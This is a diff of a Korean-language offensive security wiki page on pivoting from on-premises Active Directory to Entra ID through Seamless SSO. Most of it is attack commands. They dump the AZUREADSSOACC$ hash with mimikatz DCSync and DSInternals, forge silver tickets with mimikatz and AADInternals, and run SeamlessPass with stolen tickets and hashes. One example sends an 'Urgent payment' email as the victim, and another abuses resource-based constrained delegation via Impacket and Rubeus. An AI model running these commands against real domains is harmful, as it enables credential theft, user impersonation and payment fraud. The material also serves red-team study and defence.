+> 이 공격에 대해 알아야 할 가장 중요한 점은 Entra ID와 동기화된 사용자의 TGT 또는 특정 TGS를 보유하는 것만으로도 클라우드 리소스에 접근할 수 있다는 것입니다.\
+> 이는 사용자가 클라우드에 로그인할 수 있도록 허용하는 티켓이기 때문입니다.
+
+TGS 티켓을 얻기 위해 공격자는 다음 중 하나를 가져야 합니다:
+- **손상된 사용자의 TGS:** 메모리에서 `HTTP/autologon.microsoftazuread-sso.com`에 대한 티켓으로 사용자의 세션을 손상시키면 클라우드 리소스에 접근할 수 있습니다.
+- **손상된 사용자의 TGT:** 하나가 없더라도 사용자가 손상되었다면, [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 및 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)와 같은 많은 도구에 구현된 가짜 TGT 위임 트릭을 사용하여 하나를 얻을 수 있습니다.
+- **손상된 사용자의 해시 또는 비밀번호:** SeamlessPass는 이 정보를 사용하여 도메인 컨트롤러와 통신하여 TGT를 생성한 다음 TGS를 생성합니다.
+- **골든 티켓:** KRBTGT 키가 있다면 공격당한 사용자를 위한 TGT를 생성할 수 있습니다.
+- **AZUREADSSOACC$ 계정 해시 또는 비밀번호:** 이 정보와 사용자의 보안 식별자(SID)를 사용하여 클라우드와 인증할 서비스 티켓을 생성할 수 있습니다(이전 방법에서 수행된 것처럼).
+
+### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
+
+[이 블로그 게시물에서 설명한 바와 같이](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), 이전 요구 사항 중 하나를 갖고 있다면 **SeamlessPass** 도구를 사용하여 손상된 사용자로서 또는 **`AZUREADSSOACC$`** 계정 해시 또는 비밀번호가 있다면 다른 사용자로서 클라우드 리소스에 접근하는 것이 매우 쉽습니다.
+
+마지막으로, TGT를 사용하여 [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) 도구를 사용할 수 있습니다:
+```bash
+# Using the TGT to access the cloud
+seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
+# Using the TGS to access the cloud
+seamlesspass -tenant corp.com -tgs user_tgs.ccache
+# Using the victims account hash or password to access the cloud
+seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
+seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
+# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
+seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
+seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
+wmic useraccount get name,sid # Get the user SIDs
+```
+Firefox를 원활한 SSO와 함께 작동하도록 설정하는 추가 정보는 [**이 블로그 게시물에서**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) 확인할 수 있습니다.
+
+
+### AZUREADSSOACC$ 계정의 해시 가져오기
+
+사용자 **`AZUREADSSOACC$`의 **비밀번호**는 절대 변경되지 않습니다**. 따라서 도메인 관리자는 **이 계정의 해시를 손상시킬 수 있으며**, 이를 사용하여 **모든 온프레미스 사용자와 동기화된** Azure에 연결하기 위해 **실버 티켓을 생성**할 수 있습니다:
 ```bash
 # Dump hash using mimikatz
 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
@@ -38,14 +88,20 @@ Import-Module DSInternals
 $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
 (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
 ```
-해시를 사용하여 이제 **실버 티켓을 생성**할 수 있습니다:
+> [!NOTE]
+> 현재 정보로는 이전에 언급한 대로 **SeamlessPass** 도구를 사용하여 도메인의 모든 사용자에 대한 azure 및 entraid 토큰을 얻을 수 있습니다.
+> 또한 이전 기술(및 기타)을 사용하여 `AZUREADSSOACC$` 계정 대신에 가장하고자 하는 피해자의 비밀번호 해시를 얻을 수 있습니다.
+
+#### Silver Tickets 생성
+
+해시를 사용하여 이제 **silver tickets**를 **생성**할 수 있습니다:
 ```bash
 # Get users and SIDs
 Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
 
 # Create a silver ticket to connect to Azure with mimikatz
-Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
-mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
+Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
+mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
 
 # Create silver ticket with AADInternal to access Exchange Online
 $kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
@@ -53,52 +109,79 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
 ## Send email
 Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
 ```
-To utilize the silver ticket, the following steps should be executed:
+### Using Silver Tickets with Firefox
+
+Silver 티켓을 사용하기 위해서는 다음 단계를 실행해야 합니다:
 
 1. **브라우저 시작:** Mozilla Firefox를 실행해야 합니다.
 2. **브라우저 구성:**
 - **`about:config`**로 이동합니다.
 - [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)의 기본 설정을 지정된 [값](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)으로 설정합니다:
-- `https://aadg.windows.net.nsatc.net`
-- `https://autologon.microsoftazuread-sso.com`
+- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
+- Firefox `설정`으로 이동하여 `Microsoft, 작업 및 학교 계정을 위한 Windows 단일 로그인 허용`을 검색하고 활성화합니다.
 3. **웹 애플리케이션 접근:**
-- 조직의 AAD 도메인과 통합된 웹 애플리케이션을 방문합니다. 일반적인 예로는 [Office 365](https://portal.office.com/)가 있습니다.
+- 조직의 AAD 도메인과 통합된 웹 애플리케이션을 방문합니다. 일반적인 예로는 [login.microsoftonline.com](https://login.microsoftonline.com/)이 있습니다.
 4. **인증 과정:**
 - 로그인 화면에서 사용자 이름을 입력하고 비밀번호 필드는 비워둡니다.
 - 진행하려면 TAB 또는 ENTER를 누릅니다.
 
-> [!TIP]
-> MFA가 활성화된 경우 우회하지 않습니다.
+> [!WARNING]
+> 사용자가 MFA를 활성화한 경우 **우회되지 않습니다**.
 
-#### 옵션 2 dcsync 없이 - SeamlessPass
 
-이 공격을 **dcsync 공격 없이** 수행하는 것도 가능합니다. [이 블로그 게시물](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)에서 설명된 대로 더 은밀하게 진행할 수 있습니다. 이를 위해 다음 중 하나만 필요합니다:
+### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
 
-- **손상된 사용자의 TGT:** 사용자가 손상되었지만 TGT가 없더라도, [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 및 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)와 같은 많은 도구에서 구현된 가짜 TGT 위임 트릭을 사용하여 얻을 수 있습니다.
-- **골든 티켓**: KRBTGT 키가 있다면 공격받는 사용자에게 필요한 TGT를 생성할 수 있습니다.
-- **손상된 사용자의 NTLM 해시 또는 AES 키:** SeamlessPass는 이 정보를 사용하여 도메인 컨트롤러와 통신하여 TGT를 생성합니다.
-- **AZUREADSSOACC$ 계정 NTLM 해시 또는 AES 키:** 이 정보와 공격할 사용자의 보안 식별자(SID)를 사용하여 서비스 티켓을 생성하고 클라우드에 인증할 수 있습니다(이전 방법에서 수행된 대로).
+공격을 수행하기 위해 필요한 것은:
 
-마지막으로, TGT를 사용하여 [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) 도구를 사용할 수 있습니다:
+- `WriteDACL` / `GenericWrite` over `AZUREADSSOACC$`
+- 당신이 제어하는 컴퓨터 계정 (해시 및 비밀번호) - 하나를 생성할 수 있습니다.
+
+
+1. 단계 1 – 자신의 컴퓨터 계정 추가
+- `ATTACKBOX$`를 생성하고 그 SID/NTLM 해시를 출력합니다. 모든 도메인 사용자가 MachineAccountQuota > 0인 경우 이를 수행할 수 있습니다.
+```bash
+# Impacket
+python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
+-computer ATTACKBOX$ -password S3cureP@ss
 ```
-seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
+2. 단계 2 – `AZUREADSSOACC$`에 RBCD 부여 - 귀하의 머신 SID를 `msDS-AllowedToActOnBehalfOfOtherIdentity`에 기록합니다.
+```bash
+python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
+ATTACKBOX$ AZUREADSSOACC$
+
+# Or, from Windows:
+$SID = (Get-ADComputer ATTACKBOX$).SID
+Set-ADComputer AZUREADSSOACC$ `
+-PrincipalsAllowedToDelegateToAccount $SID
 ```
-Firefox를 원활한 SSO와 함께 작동하도록 설정하는 추가 정보는 [**이 블로그 게시물에서**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) 확인할 수 있습니다.
+3. 단계 3 – 모든 사용자(예: alice)에 대한 TGS 위조
+```bash
+# Using your machine's password or NTLM hash
+python3 getST.py -dc-ip 192.168.1.10 \
+-spn HTTP/autologon.microsoftazuread-sso.com \
+-impersonate alice \
+DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
 
-#### ~~클라우드 전용 사용자에 대한 Kerberos 티켓 생성~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
+# Produces alice.autologon.ccache
 
-Active Directory 관리자가 Azure AD Connect에 접근할 수 있다면, **클라우드 사용자에 대한 SID를 설정할 수 있습니다**. 이렇게 하면 Kerberos **티켓**이 **클라우드 전용 사용자에 대해서도 생성될 수 있습니다**. 유일한 요구 사항은 SID가 적절한 [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>)여야 한다는 것입니다.
+#Or, from Windows:
+Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
+/impersonateuser:alice `
+/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
+```
+이제 **TGS를 사용하여 가장된 사용자로 Azure 리소스에 접근할 수 있습니다.**
+
+
+### ~~클라우드 전용 사용자를 위한 Kerberos 티켓 생성~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
+
+Active Directory 관리자가 Azure AD Connect에 접근할 수 있다면, **모든 클라우드 사용자에 대해 SID를 설정할 수 있습니다.** 이렇게 하면 Kerberos **티켓**이 **클라우드 전용 사용자에 대해서도 생성될 수 있습니다.** 유일한 요구 사항은 SID가 적절한 [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>)여야 한다는 것입니다.
 
 > [!CAUTION]
-> 클라우드 전용 관리자 사용자의 SID 변경은 현재 **Microsoft에 의해 차단되었습니다**.\
-> 정보는 [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)에서 확인하세요.
+> 클라우드 전용 관리자 사용자의 SID 변경은 현재 **Microsoft에 의해 차단되었습니다.**\
+> 자세한 정보는 [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)를 확인하세요.
+
 
-### 온프레미스 -> 클라우드 리소스 기반 제약 위임 <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
 
-이 계정이 있는 컨테이너 또는 OU에서 컴퓨터 계정(`AZUREADSSOACC$`)을 관리할 수 있는 사람은 **계정에 대한 리소스 기반 제약 위임을 구성하고 접근할 수 있습니다**.
-```python
-python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
-```
 ## References
 
 - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)